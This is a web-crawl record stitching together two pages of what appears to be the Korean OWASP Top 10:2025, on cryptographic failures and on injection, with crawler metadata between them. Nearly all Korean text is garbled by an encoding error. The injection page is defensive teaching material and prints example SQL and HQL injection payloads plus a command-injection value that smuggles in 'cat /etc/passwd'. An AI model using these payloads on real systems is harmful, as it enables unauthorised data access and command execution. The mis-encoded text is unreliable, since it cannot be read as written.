šě–´ 셋이 ě •í™•í•œ 암호화를(예시: [AES support](https://en.wikipedia.org/wiki/AES_instruction_set)) 위해 ě„¤ęł„ë˜ě—ˆęł , 프라이빗 키와 ě¸ě •ě„œ 관리는 [LetsEncrypt.org](https://LetsEncrypt.org) 같은 서비스나 큰 클라우드 벤더들이 íŠšě • 플랫폼을 위한 통합된 인증서 관리 서비스를 ě œęłľí•˜ě—Ź 관리하기 쉬워졌다.\n\ně „ě†Ą 계층 보안 외에도 어떤 ě €ěžĽëœ 데이터에 암호화가 필요한지 ę˛°ě •í•˜ëŠ” 것곟 ě „ě†Ą 중 ([ě• í”ŒëŚŹěź€ě´ě…˜ 계층](https://en.wikipedia.org/wiki/Application_layer) 내, OSI 7계층)에도 ěś”ę°€ě ě¸ 암호화가 필요한지 ę˛°ě •í•˜ëŠ” 것도 중요하다. 예시로, 패스워드, ě‹ ěšŠ 카드 번호, 건강 ě •ëł´, 개인 ě •ëł´ ęˇ¸ëŚŹęł ëš„ěŚˆë‹ˆěŠ¤ 기밀 자료는 ěś”ę°€ě  보호가 요구된다. 특히 해당 데이터가 ę°œě¸ě •ëł´ ë˛•ëĽ (예시, GDPR, PCI DSS)에 명시된 경우 더욱 ęˇ¸ë ‡ë‹¤.\n해당 데이터들을 ěœ„í•´ě„ ë‹¤ěŒęłź 같은 사항들이 해당되는지 ę˛€í† í•˜ě—Źě•ź 한다.\n\n- 약하거나 오래된 암호화 ě•Œęł ëŚŹěŚ˜ě´ë‚˜ í”„ëĄœí† ě˝œě´ 기본 값으로 또는 ě˜ˆě „ 코드에 사용되는가?\n- 기본 암호키가 사용되는가, 약한 암호키가 생성되었는가, 같은 키가 ë°˜ëłľě ěœźëĄœ 사용되는가, ě ě ˆí•œ 키 관리 시스템이나 키 변경 주기가 있는가?\n- 사용되는 암호키가 소스코드 ě €ěžĽě†Œ 내 존재하는가?\n- 암호화가 ę°•ě œë˜ëŠ”ę°€? (예시. HTTP 헤더 보안 지시자 또는 헤더 존재 여부)\n- ěˆ˜ě‹ í•œ 서버 인증서와 ě‹ ë˘° 체인이 ě ě ˆížˆ 검증되었는가?\n- 초기 벡터가 무시되거나, 재사용되거나 또는 운영 암호화 모드를 위한 충분한 초기 벡터가 생성되었는가? ECB 같은 ě•ˆě „í•˜ě§€ 않은 운영 모드를 사용하는가? 인증된 ě ě ˆí•œ 암호화가 존재하는데 단순한 암호화를 사용하지는 않는가?\n- 패스워드 기반 키 ěœ ë„ 함수가 없는 상태에서 패스워드가 암호키로써 사용되는가?\n- 암호화 요구사항에 충족하지 않는 난수를 사용하는가? 만약 올바른 함수를 ě„ íƒí•˜ë”ëźë„ 개발자가 시드를 ě„ íƒí•´ě•ź 하는가? 만일 아니라면, 개발자가 충분한 엔트로피/예츥 불가능성이 부족한 시드로 강한 시드 기능을 덮어쓰지는 않았는가?\n- MD5, SHA1 같은 더 이상 사용하지 않는 해시 함수를 ě‚ŹěšŠí•˜ęł ěžˆęą°ë‚˜ 또는 ě•”í˜¸í•™ě  해시 함수가 í•„ěš”í• ë•Œ ëš„ě•”í˜¸í•™ě  해시 함수를 사용하는가?\n- 암호화 ě•Œęł ëŚŹěŚ˜ě´ 다운 ęˇ¸ë ˆě´ë“œ 되거나 우회 가능한가?\n\në ˆíźëŸ°ěŠ¤ ě°¸ęł ASVS: Cryptography (V11), Secure Communication (V12) and Data Protection (V14).\n\n## 대응 방안.\n\n최소한 다음 사항들을 ěˆ˜í–‰í•˜ęł ë ˆíźëŸ°ěŠ¤ëĽź ě°¸ęł í•˜ëź.\n\n- ě• í”ŒëŚŹěź€ě´ě…˜ě— 의해 진행, ě €ěžĽ, ě „ě†Ąë˜ëŠ” 데이터를 분류, 라벨링한다. ę°œě¸ě •ëł´ 보호법, ęˇœě œ 요구사항, 비즈니스 필요에 따른 어떤 데이터가 민감한지 식별한다.\n- 하드웨어 또는 클라우드 기반 HSM(하드웨어 보안 모듈)에 민감한 키를 보관한다.\n- ě–¸ě œë‚˜ 사용 가능한 ě‹ ë˘°í• ěˆ˜ 있는 암호화 ě•Œęł ëŚŹěŚ˜ě„ 이용한다.\n- 불필요한 믟감 데이터는 ě €ěžĽí•˜ě§€ 않는다. ě €ěžĽí• ě‹œ 가능한 ëš ëĽ´ę˛Œ 지우거나 PCI DSS 준수 í† í°í™”(PCI DSS compliant tokenization) 이용 또는 마스킹 처댏뼟 한다. 데이터가 보관되지 않으면 훔쳐질 수 없다.\n- ëŞ¨ë“ ëŻźę° 데이터 암호화 되었는지 확인하라.\n- 강한 표준 ě•Œęł ëŚŹěŚ˜, í”„ëĄœí† ě˝œ, 키가 ěľœě‹ ě¸ě§€ í™•ě¸í•˜ęł ě ě ˆí•œ 키 관리 시스템을 이용해라.\n- ëŞ¨ë“ ë°ě´í„°ëŠ” ě „ë‹Ź 시 ě „ë°Ší–Ľ 보안(Forward secrecy), 암호 블록 체인(Cipher block chaining)에 대한 지원을 ě¤‘ë‹¨í•˜ęł , 퀀텀 키 변경 ě•Œęł ëŚŹěŚ˜ě„ 지원하는 TLS 1.2 ë˛„ě „ 이상에서 암호화 되어야 한다. HTTP 스트릭 ě „ě†Ą 보안(HTTP Strict Transport Security, HSTS) 을 이용해 HTTPS ę°•ě œ 암호화를 하여야 한다. ëŞ¨ë“ ę˛ƒě„ 도구를 이용해 검사하라.\n- 믟감 데이터가 들어있는 응답 값 캐싱을 비활성화한다. 이는 ě˝˜í…ě¸ ě „ě†Ą 네트워크(CDN), 웹 서버 내 캐싱과 ëŞ¨ë“ ě• í”ŒëŚŹěź€ě´ě…˜ 캐싱을 포함한다. (예시. ë ˆë””ěŠ¤(Redis))\n- 매번의 데이터 분류 작업에서 요구된 보안 í†ľě œëĽź ě ěšŠí•˜ëź.\n- FTP 나 STARTTLS 같은 암호화되지 않은 í”„ëĄœí† ě˝œě„ 사용하지 마라. 기밀 ě •ëł´ ě „ë‹Źě— SMTP 사용을 피해라.\n- 아라곤2(Argon2), 예스크립트(yescrypt, 스크립트(scrypt) 또는 PBKDF2-HMAC-SHA-512 같은 작업 인자(지연 ě¸ěžëźęł ë„ 함)ęłź 강한 ě ě‘ë Ľ(Adaptive)이 강구된 솔트 해싱 함수를 사용하라. ë ˆęą°ě‹œ 시스템을 위해 비크립트(bcrypt) 이용 시 [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) 을 ě°¸ęł í•˜ëź.\n * ě ě‘ë Ľ: 시간이 갈 수록 ë ˆě¸ëł´ěš° 테이블 생성에 많은 리소스가 사용되게 하는 ëŠĽë Ľ\n * 작업 인자: 계산 횟수를 증가시키는 것곟 같이 해시 ęłźě •ě„ 복잡하게 만드는 인자\n- ////쑤쩡 초기화 벡터(IV)는 운영 모드에 따라 ě ě ˆí•˜ę˛Œ ě„ íƒë˜ě–´ě•ź 하며, 이는 ě•”í˜¸í™”ě  보안 의사난수 생성기(cryptographically secure pseudo random number generator, CSPRNG) 사용을 ě˜ëŻ¸í• ěˆ˜ 있다. 해당 모드는 넌스값을 요구하며, 초기화 벡터는 CSPRNG가 필요하지 않다. ëŞ¨ë“ ěź€ě´ěŠ¤ě—ě„œ 초기화 벡터는 ěˆ˜ě •ëœ 키에서 두번 이상 사용되지 않았다.///\n- 일반 암호화보단 인증된 암호화를 사용해라.\n- 키는 ě•”í˜¸í•™ě ěœźëĄœ 랜덤하게 생성되며, 메모리 내 바이트 배열로써 ě €ěžĽë˜ě–´ě•ź 한다. 만약 패스워드가 사용 중이라면, 이는 ě ě ˆí•œ 패스워드 기반 키 ěœ ë„ 함수를 통한 키로 변환된 상태여야 한다.\n- ě ě ˆí•œ 곳에서 ě•”í˜¸í•™ě  무작위성이 사용되는지와 낮은 엔트로피나 예츥 가능한 시드가 사용되지 않는지 확인해라. 대다수의 현대 API는 개발자에게 CSPRNG에 보안을 ě„¤ě •í• ę˛ƒě„ 요구하지 않는다.\n- MD5, SHA1, 암호 블록 체이닝 모드(CBC), PKCS number 1 v1.5. 같은 사용되지 않는 암호학 함수, 블록 빌딩 메소드, 패딩 스키마 사용을 피해라.\n- 댏롰, 보안 ě „ëŹ¸ę°€, ě‚ŹěšŠí• ë„ęľŹě˜ ëŞŠě ě‚Źí•­ě„ 통해 ě„¤ě • 값이 보안 요구사항에 맞는지 확인해라.\n- 양자 컴퓨터 이후의 암호학(PQC)을 준비해야 하며, ęł ěœ„í—˜ 시스템은 2030년 ě „ęšŒě§€ 반드시 ě•ˆě „í•˜ę˛Œ 보호되도록 하여야 한다.(ENISA ě°¸ęł )\n\n## 곾겊 시나리오 예시.\n\n**시나리오 1**: A 사이트는 ëŞ¨ë“ íŽ˜ě´ě§€ě— TLS ę°•ě œě„ě‚ŹěšŠí•˜ě§€ 않거나 약한 암호화 ě•Œęł ëŚŹěŚ˜ě„ 지원한다. 공격자는 네트워크 트래픽을 모니터링해 가로챈 요청에서 HTTPS에서 HTTP로 ë‹¤ěš´ęˇ¸ë ˆě´ë“œí•˜ě—Ź 사용자의 세션 ěż í‚¤ëĽź 가로챌 수 있다. 공격자는 세션 ěż í‚¤ëĽź ěžŹě „ě†Ąí•´ 사용자 세션을 하이재킹하여 사용자 개인 ě •ëł´ ě ‘ęˇź 또는 변조가 가능하다. 위 내용 ë§ęł ë„ 공격자는 ě „ě†Ąë˜ëŠ” ëŞ¨ë“ ë°ě´í„° 변조가 가능하다. (예: 송금 ěˆ˜ě‹ ěž)\n\n**시나리오 2**: ë°ě´í„°ë˛ ě´ěŠ¤ 내 패스워드는 솔트가 포함되지 않는 단순 해시로 ëŞ¨ë“ ě‚ŹěšŠěžě˜ 패스워드를 ě €ěžĽí•œë‹¤. 파알 업로드 ěˇ¨ě•˝ě ěœźëĄœ 사용자 패스워드 해시값 탈취가 ę°€ëŠĽí•˜ęł , 솔트가 포함되지 않는 해시는 ě‚Źě „ 계산된 ë ˆě¸ëł´ěš° 테이블로 매핑하여 원본 패스워드 탈취가 가능하다. ę°„ë‹¨í•˜ęł ëš ëĽ¸ 해시 함수로 생성한 해시는 GPU로 크랙 가능하며, 이는 솔트가 포함된 패스워드 또한 마찬가지다.\n* 솔트가 포함된 패스워드라 하더라도 공격자가 ëł´ěœ ě¤‘ě¸ 패스워드 ě‚Źě „ 목록 또는 브루트 포싱을 이용해 ë ˆě¸ëł´ěš° 테이블을 생성해 패스워드 매핑 작업이 가능하다. 이를 방지하기 위해 대소문자, 특수문자, 숫자가 íŹí•¨ë˜ęł ě‚ŹěšŠěž ě¸ě ě‚Źí•­ęłź ę´€ë ¨ě—†ëŠ” 13자리 이상의 패스워드 사용을 권장하는 것이다.\n\n## 참쥰.\n\n- [OWASP Proactive Controls: C2: Use Cryptography to Protect Data](https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/)\n- [OWASP Application Security Verification Standard (ASVS):](https://owasp.org/www-project-application-security-verification-standard) [V11,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md) [12,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md) [14](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md)\n- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n- [ENISA: A Coordinated Implementation Roadmap for the Transition to Post-Quantum Cryptography](https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography)\n- [NIST Releases First 3 Finalized Post-Quantum Encryption Standards](https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards)\n\n## List of Mapped CWEs\n\n- [CWE-261 Weak Encoding for Password](https://cwe.mitre.org/data/definitions/261.html)\n- [CWE-296 Improper Following of a Certificate's Chain of Trust](https://cwe.mitre.org/data/definitions/296.html)\n- [CWE-319 Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-320 Key Management Errors (Prohibited)](https://cwe.mitre.org/data/definitions/320.html)\n- [CWE-321 Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)\n- [CWE-322 Key Exchange without Entity Authentication](https://cwe.mitre.org/data/definitions/322.html)\n- [CWE-323 Reusing a Nonce, Key Pair in Encryption](https://cwe.mitre.org/data/definitions/323.html)\n- [CWE-324 Use of a Key Past its Expiration Date](https://cwe.mitre.org/data/definitions/324.html)\n- [CWE-325 Missing Required Cryptographic Step](https://cwe.mitre.org/data/definitions/325.html)\n- [CWE-326 Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html)\n- [CWE-327 Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-328 Reversible One-Way Hash](https://cwe.mitre.org/data/definitions/328.html)\n- [CWE-329 Not Using a Random IV with CBC Mode](https://cwe.mitre.org/data/definitions/329.html)\n- [CWE-330 Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)\n- [CWE-331 Insufficient Entropy](https://cwe.mitre.org/data/definitions/331.html)\n- [CWE-332 Insufficient Entropy in PRNG](https://cwe.mitre.org/data/definitions/332.html)\n- [CWE-334 Small Space of Random Values](https://cwe.mitre.org/data/definitions/334.html)\n- [CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/335.html)\n- [CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/336.html)\n- [CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/337.html)\n- [CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/338.html)\n- [CWE-340 Generation of Predictable Numbers or Identifiers](https://cwe.mitre.org/data/definitions/340.html)\n- [CWE-342 Predictable Exact Value from Previous Values](https://cwe.mitre.org/data/definitions/342.html)\n- [CWE-347 Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)\n- [CWE-523 Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html)\n- [CWE-757 Selection of Less-Secure Algorithm During Negotiation('Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-759 Use of a One-Way Hash without a Salt](https://cwe.mitre.org/data/definitions/759.html)\n- [CWE-760 Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html)\n- [CWE-780 Use of RSA Algorithm without OAEP](https://cwe.mitre.org/data/definitions/780.html)\n- [CWE-916 Use of Password Hash With Insufficient Computational Effort](https://cwe.mitre.org/data/definitions/916.html)\n- [CWE-1240 Use of a Cryptographic Primitive with a Risky Implementation](https://cwe.mitre.org/data/definitions/1240.html)\n- [CWE-1241 Use of Predictable Algorithm in Random Number Generator](https://cwe.mitre.org/data/definitions/1241.html)", "znaku_textu": 14483, "slov": 1461, "odkazu": 84, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:36", "sha256": "70d6737d62283ee796605b0c2fe9d3ec6cbf8e6638e28ee43c91775256131700", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://en.wikipedia.org/wiki/OSI_model", "https://en.wikipedia.org/wiki/AES_instruction_set", "https://letsencrypt.org/", "https://en.wikipedia.org/wiki/Application_layer", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography", "https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/320.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/332.html", "https://cwe.mitre.org/data/definitions/334.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/342.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/916.html", "https://cwe.mitre.org/data/definitions/1240.html", "https://cwe.mitre.org/data/definitions/1241.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/A05_2025-Injection/", "titulek": "A05 ě¸ě ě…˜ - OWASP Top 10:2025", "h1": "A05:2025 ě¸ě ě…˜", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A05_2025-Injection/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2025 ě¸ě ě…˜"}, {"uroven": 2, "text": "배경."}, {"uroven": 2, "text": "ě ěˆ˜í‘œ."}, {"uroven": 2, "text": "설명."}, {"uroven": 2, "text": "대응 방안."}, {"uroven": 2, "text": "곾겊 시나리오 예시."}, {"uroven": 2, "text": "참쥰."}, {"uroven": 2, "text": "해당되는 CWE 목록."}], "markdown": "# A05:2025 ě¸ě ě…˜\n\n## 배경.\n\ně¸ě ě…˜ě€ 3위에서 5위로 두 단계 하락했으며, A04:2025-암호 체계 실패 및 A06:2025-ě•ˆě „í•˜ě§€ 않은 설계 대비 ěƒëŒ€ě  위치는 변동이 없다. ě¸ě ě…˜ě€ 가장 많이 테스트 된 ěš´í…Œęł ëŚŹ 중 하나로, 조사된 ëŞ¨ë“ ě• í”ŒëŚŹěź€ě´ě…˜ě—ě„œ 테스트 되었다. ě¸ě ě…˜ě€ 다른 ěš´í…Œęł ëŚŹëł´ë‹¤ 가장 많은 수의 CVE뼟 ëł´ěœ í–ˆěœźëŠ°, 총 37개의 CWE가 포함되었다. 이 ěš´í…Œęł ëŚŹě—ëŠ” 총 3만 개가 넘는 CVE가 ëł´ęł ëœ 크로스 사이트 스크립팅(높은 빈도/낮은 영향)ęłź 1만 4천 개가 넘는 CVE가 ëł´ęł ëœ SQL ě¸ě ě…˜(낮은 빈도/높은 영향)이 포함되었다. CWE-79 웹 페이지 생성 중 ěž…ë Ľę°’ě˜ ëś€ě ě ˆí•œ 중립화(크로스 사이트 스크립팅)에 대한 ëł´ęł ëœ CVE 수가 매우 많아 이 ěš´í…Œęł ëŚŹě˜ í‰ęˇ ę°€ě¤‘ 영향도가 낮아졌다.\n\n## ě ěˆ˜í‘œ.\n\n| 해당되는 CWE 개수 | 최대 ěˇ¨ě•˝ě  ë°œěƒëĽ | í‰ęˇ ěˇ¨ě•˝ě  ë°œěƒëĽ | 최대 테스트 커버리지 | í‰ęˇ í…ŒěŠ¤íŠ¸ 커버리지 | í‰ęˇ ę°€ě¤‘ 악용도 | í‰ęˇ ę°€ě¤‘ 영향도 | 총 발생 깴수 | 총 CVE 깴수 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 37 | 13.77% | 3.08% | 100.00% | 42.93% | 7.15 | 4.32 | 1,404,249 | 62,445 |\n\n## 설명.\n\ně¸ě ě…˜ ěˇ¨ě•˝ě ě€ ě‹ ë˘°í• ěˆ˜ 없는 사용자 ěž…ë Ľě´ 인터프리터(예: ë¸Œëźěš°ě €, ë°ě´í„°ë˛ ě´ěŠ¤, 커맨드 라인)로 ě „ě†Ąë˜ě–´ 인터프리터가 해당 ěž…ë Ľě˜ 일부를 ëŞ…ë šěœźëĄœ 실행하도록 허용하는 ě• í”ŒëŚŹěź€ě´ě…˜ 결함이다.\n\n다음과 같은 경우 ě¸ě ě…˜ 공격에 ěˇ¨ě•˝í• ěˆ˜ 있다.\n\n- 사용자가 ě œęłľí•œ 데이터가 ě• í”ŒëŚŹěź€ě´ě…˜ě— 의해 검증, 필터링 또는 새니타이징되지 않는 경우.\n- ë™ě  쿟댏 또는 파라미터 바인딩이 없는 호출을 해당 컨텍스트에 맞는 이스케이프 없이 인터프리터에 ě§ě ‘ ě „ë‹Źí•˜ëŠ” 경우.\n- 객체 관계형 매핑(object-relational mapping, ORM) 검색 파라미터에 새니타이징되지 않은 ěž…ë Ľę°’ě„ 사용하여, 의도하지 않은 추가 믟감 데이터 ë ˆě˝”ë“œëĽź 조회하는 경우.\n- ěž ěžŹě ěœźëĄœ ě•…ě˜ě ěź 수 있는 데이터가 그대로 사용되거나, 기쥴 SQL 또는 커맨드 뒤에 문자열로 이어 붙여지는 경우. ꡸ 결곟 ë™ě  쿟댏, 커맨드, 또는 ě €ěžĽ í”„ëĄœě‹œě €ě—ě„œ 원래의 꾏돸곟 공격자가 주입한 악성 데이터가 함께 포함되게 된다.\n\nëŒ€í‘œě ě¸ ě¸ě ě…˜ ěœ í˜•ěœźëĄœëŠ” SQL, NoSQL, OS 커맨드, 객체 관계형 매핑(ORM), LDAP, ęˇ¸ëŚŹęł EL 표현식(Expression Language) 및 OGNL 표현식(Object Graph Navigation Library) ě¸ě ě…˜ě´ 있다. 인터프리터 종류가 달라도 핵심 원리는 동일하다. íš¨ęłźě ě¸ 탐지를 위해서는 소스 코드 리뷰와 함께, ëŞ¨ë“ íŒŒëźëŻ¸í„°, 헤더, URL, ěż í‚¤, JSON, SOAP, 및 XML 데이터 ěž…ë Ľě— 대한 자동화(퍼징 포함) 테스트하는 枌 좋다. CI/CD 파이프라인에 ě •ě (SAST), ë™ě (DAST), 및 인터랙티브(IAST) ě• í”ŒëŚŹěź€ě´ě…˜ 보안 테스트 도구를 통합하여, 것도 운영 환경 배포 ě „ě— ě¸ě ě…˜ 결함을 식별하는 데 도움이 ë ěˆ˜ 있다.\n\n한편 LLM 환경에서도 ěœ ě‚Źí•œ 계열의 ě¸ě ě…˜ ěˇ¨ě•˝ě ě´ í”í•´ě§€ęł ěžˆë‹¤. 이는 [OWASP LLM Top 10](https://genai.owasp.org/llm-top-10/)에서 별도로 다룬다. 특히 [LLM01:2025 프롬프트 ě¸ě ě…˜](https://genai.owasp.org/llmrisk/llm01-prompt-injection/) 항목에서 ę´€ë ¨ 내용을 í™•ě¸í• ěˆ˜ 있다.\n\n## 대응 방안.\n\ně¸ě ě…˜ 공격을 예방하는 ěľœě„ ě˜ 방법은 데이터를 ëŞ…ë š 및 쿼리로부터 분리하여 ěœ ě§€í•˜ëŠ” 것이다.\n\n- 가장 권장되는 방식은 ě•ˆě „í•œ API뼟 사용하는 것이다. 이는 인터프리터를 ě „í˜€ 사용하지 않거나, ěž…ë Ľę°’ě„ 파라미터화하도록 하는 인터페이스를 ě œęłľí•˜ęą°ë‚˜, 객체 관계형 매핑(ORM) 도구를 사용하는 방식을 통해 이를 ë‹Źě„ąí• ěˆ˜ 있다. **ě°¸ęł :** ě €ěžĽ í”„ëĄœě‹œě €ëŠ” 파라미터화되어 있더라도, PL/SQL 또는 T‑SQL 내부에서 문자열 결합으로 쿼리와 데이터를 연결하거나, EXECUTE IMMEDIATE / exec()처럼 ë™ě  실행 기능으로 ě ëŒ€ě  ěž…ë Ľě„ 실행하면 SQL ě¸ě ě…˜ě´ ë°œěƒí• ěˆ˜ 있다.\n\n데이터를 커맨드로부터 분리하는 것이 불가능한 경우, 다음 방법을 사용하여 위협을 줄일 수 있다.\n\n- 서버 츥 ěž…ë Ľę°’ 검증은 허용 목록 기반(positive validation)을 사용한다. 다만 텍스트 ěž…ë Ľëž€ě´ë‚˜ 모바일 API처럼 특수문자 ěž…ë Ľě´ 필요한 경우가 많아, 이것만으로는 ě™„ě „í•œ 방어가 되기 ě–´ë ľë‹¤.\n- 불가피하게 ë™ě  쿟댏뼟 사용하는 ě§€ě ě´ 남아 있다면, 사용 중인 인터프리터에서 사용하는 규칙에 맞춰 특수문자를 이스케이프 처리한다. **ě°¸ęł :** 테이블 명과 칼럼 명 같은 SQL 구문들은 ě´ěŠ¤ěź€ě´í”„í• ěˆ˜ 없으므로, 사용자가 ě œęłľí•œ ěž…ë Ľę°’ě„ 쓰는 것은 위험하다. 이런 ëŹ¸ě œëŠ” ëł´ęł ě„œ 생성 기능에서 자주 나타난다.\n\n**경ęł** 위 방법들은 문자열을 íŒŒě‹ąí•˜ęł ě´ěŠ¤ěź€ě´í”„í•˜ëŠ” 복잡한 처댏뼟 ě „ě œëĄœ 하며, 구현 실수가 발생하기 ě‰˝ęł ě‹œěŠ¤í…œ 내부 동작이 조금만 바뀌어도 방어가 쉽게 ëŹ´ë Ľí™”ë ěˆ˜ 있다.\n\n## 곾겊 시나리오 예시.\n\n**시나리오 1:** ě• í”ŒëŚŹěź€ě´ě…˜ě´ ě‹ ë˘°í• ěˆ˜ 없는 데이터를 사용하여 다음과 같은 취약 방식으로 SQL을 호출한다.\n\n```\nString query = \"SELECT * FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\n```\n\n공격자는 'id' 값에 `' OR '1'='1`와 같은 페이로드를 주입하여 다음과 같이 요청을 보낼 수 있다.\n\n```\nhttp://example.com/app/accountView?id=' OR '1'='1\n```\n\n꡸ 결곟 쿼리의 내용이 변경되어 accounts 테이블의 ě „ě˛´ ë ˆě˝”ë“œę°€ ěĄ°íšŒë ěˆ˜ 있다. 상황에 따라 공격자는 데이터 변경 및 ě‚­ě œ 또는 ě €ěžĽëœ í”„ëĄœě‹œě € 실행 등 더 심각한 행위를 ěœ ë„í• ěˆ˜ë„ 있다.\n\n**시나리오 2:** í”„ë ˆěž„ě›ŒíŹëĽź 사용하더라도 이를 ęłźě‹ í•˜ëŠ´, ě—Źě „ížˆ ě¸ě ě…˜ě— ěˇ¨ě•˝í• ěˆ˜ 있다. 취약한 하이퍼네이트 쿟댏 언어(Hibernate Query Language, HQL)의 경우를 보자.\n\n```\nQuery HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\n```\n\n공격자는 ěž…ë Ľę°’ěœźëĄœ `' OR custID IS NOT NULL OR custID='`뼟 ěž…ë Ľí•œë‹¤. 이는 필터를 ěš°íšŒí•˜ęł ëŞ¨ë“ ęł„ě •ě˜ ë ˆě˝”ë“œëĽź 반환한다. HQL은 로우(raw) SQL보다 위험한 함수가 더 ě ě§€ë§Œ, 사용자 ěž…ë Ľ 값이 쿼리의 문자열로 ě—°ę˛°ë ë•Œ ě—Źě „ížˆ 권한이 없는 데이터 ě ‘ęˇźí• ěˆ˜ 있다.\n\n**시나리오 3:** ě• í”ŒëŚŹěź€ě´ě…˜ě´ 사용자 ěž…ë Ľě„ OS 커맨드로 사용한다.\n\n```\nString cmd = \"nslookup \" + request.getParameter(\"domain\");\nRuntime.getRuntime().exec(cmd);\n```\n\n공격자는 `example.com; cat /etc/passwd`뼟 ěž…ë Ľí•˜ě—Ź 서버에서 임의의 ëŞ…ë šě„ 실행한다.\n\n## 참쥰.\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: SQL 